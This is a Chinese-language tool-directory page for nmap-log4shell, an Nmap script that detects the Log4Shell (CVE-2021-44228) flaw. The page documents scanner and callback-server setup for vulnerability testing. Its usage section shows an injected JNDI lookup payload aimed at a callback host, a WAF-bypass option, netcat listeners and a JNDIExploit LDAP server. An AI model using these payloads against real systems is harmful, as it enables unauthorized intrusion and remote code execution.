Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nmap-log4shell — Nmap Log4Shell NSE 脚本,用于发现 Apache Log4j RCE(CVE-2021-44228) | Kitploit
工具/GitHubGitHub/giterlizzi/nmap-log4shell
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用WAF绕过网络安全渗透测试
GitHubgiterlizzi/nmap-log4shell

nmap-log4shell

Nmap Log4Shell NSE 脚本,用于发现 Apache Log4j RCE(CVE-2021-44228)

查看仓库
78204年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Nmap Log4Shell NSE 脚本,用于发现 Apache Log4j RCE (CVE-2021-44228) 漏洞

nmap-log4shell 是一个 NSE 脚本,用于在网络中检测 Apache Log4j RCE (CVE-2021-44228) 漏洞。该脚本能够通过 HTTP 头部(默认)或通过 TCP/UDP 套接字注入 log4shell 利用载荷。

漏洞

CVE-2021-44228 是 Apache Log4j 2 中的一个远程代码执行 (RCE) 漏洞。未经身份验证的远程攻击者可以通过向运行易受攻击版本的 log4j 的服务器发送特制请求来利用此漏洞。构造的请求通过多种服务使用 Java 命名和目录接口 (JNDI) 注入,包括:

  • 轻量级目录访问协议 (LDAP)
  • 安全 LDAP (LDAPS)
  • 远程方法调用 (RMI)
  • 域名服务 (DNS)

如果易受攻击的服务器使用 log4j 记录请求,则该漏洞将通过上述服务之一,从攻击者控制的服务器请求 JNDI 上的恶意载荷。成功利用可能导致 RCE。

安装

找到系统中 nmap 脚本所在的位置:

  • 对于 *nix 系统,可能是 ~/.nmap/scripts/ 或 $NMAPDIR
  • 对于 Mac,可能是 /usr/local/Cellar/nmap/<版本>/share/nmap/scripts/
  • 对于 Windows,可能是 C:\Program Files (x86)\Nmap\scripts

将提供的脚本 (log4shell.nse) 复制到该目录,然后运行 nmap --script-updatedb 以更新 nmap 脚本数据库。

使用

root@kitploit:~
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2 
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
| log4shell: 
|   Payloads:
|     ${jndi:ldap:/172.17.42.1:389/log4shell}
|   Test Method: HTTP
|   URL Path: /
|   HTTP Method: GET
|   HTTP Headers: 
|     Access-Control-Request-Method: 200 
|     Accept: 200 
|     Access-Control-Request-Headers: 200 
|     Accept-Charset: 200 
|     X-Api-Version: 200 
|     Warning: 200 
|     Pragma: 200 
|     Upgrade-Insecure-Requests: 200 
|     Range,: 400 
|     Hostname: 200 
|     Content-Length: 400 
|     Dnt: 200 
|     Date: 200 
|     Username: 200 
|     Content-Encoding: 200 
|     Content-Type: 200 
|     Forwarded: 200 
|     Max-Forwards: 200 
|     Accept-Encoding: 200 
|     Referer: 200 
|     IP: 200 
|     IPaddress: 200 
|     X-Amz-Date: 200 
|     X-Amz-Target: 200 
|     TE: 200 
|     Content-Disposition: 200 
|     X-Requested-With: 200 
|     upgrade-insecure-requests: 200 
|     Authorization: 200 
|     Cookie: 200 
|     User-Agent: 200 
|     Accept-Language: 200 
|     Proxy-Authorization: 200 
|     Expect: 417 
|     From: 200 
|     Accept-Datetime: 200 
|     X-CSRF-Token: 200 
|     Origin: 200 
|_  Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs

参数

  • log4shell.callback-server:回调服务器(例如 172.17.42.1:1389)
  • log4shell.http-headers:逗号分隔的 HTTP 头部列表(例如 X-Api-Version,User-Agent,Referer)
  • log4shell.http-method:HTTP 方法(默认:GET)
  • log4shell.url-path:URL 路径(默认:/)
  • log4shell.waf-bypass:使用 WAF 绕过载荷(默认:false)
  • log4shell.test-method:通过 http(默认)、tcp、udp 或 进行测试

回调服务器

该脚本依赖于被扫描目标的回调,因此任何防火墙规则或与其他安全设备的交互都会影响脚本的有效性。

Netcat 或 Ncat

使用 netcat (或 ncat) 监听一个 TCP 端口:

root@kitploit:~
ncat -vkl 1389   # Ncat
nc -lvnp 1389    # Netcat

使用 --script log4shell.nse 脚本运行 Nmap

root@kitploit:~
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <端口>] <目标>

在 netcat (或 ncat) 输出中查看目标 IP 地址:

root@kitploit:~
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.

JNDIExploit

从 GitHub 下载 JNDIExploit (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)

启动 JNDIExploit 服务器:

root@kitploit:~
java -jar JNDIExploit.jar

使用 --script log4shell.nse 脚本运行 Nmap

root@kitploit:~
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <端口>] <目标>

查看 JNDIExploit 输出以查看接收到的 LDAP 查询

root@kitploit:~
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell

法律免责声明

此项目仅用于教育和道德测试目的。在未事先获得双方同意的情况下,使用 nmap-log4shell 攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,并且不对因使用本程序而造成的任何滥用或损害负责。

许可证

本项目采用 MIT 许可证。

作者

  • Giuseppe Di Terlizzi (giterlizzi)
下载工具
all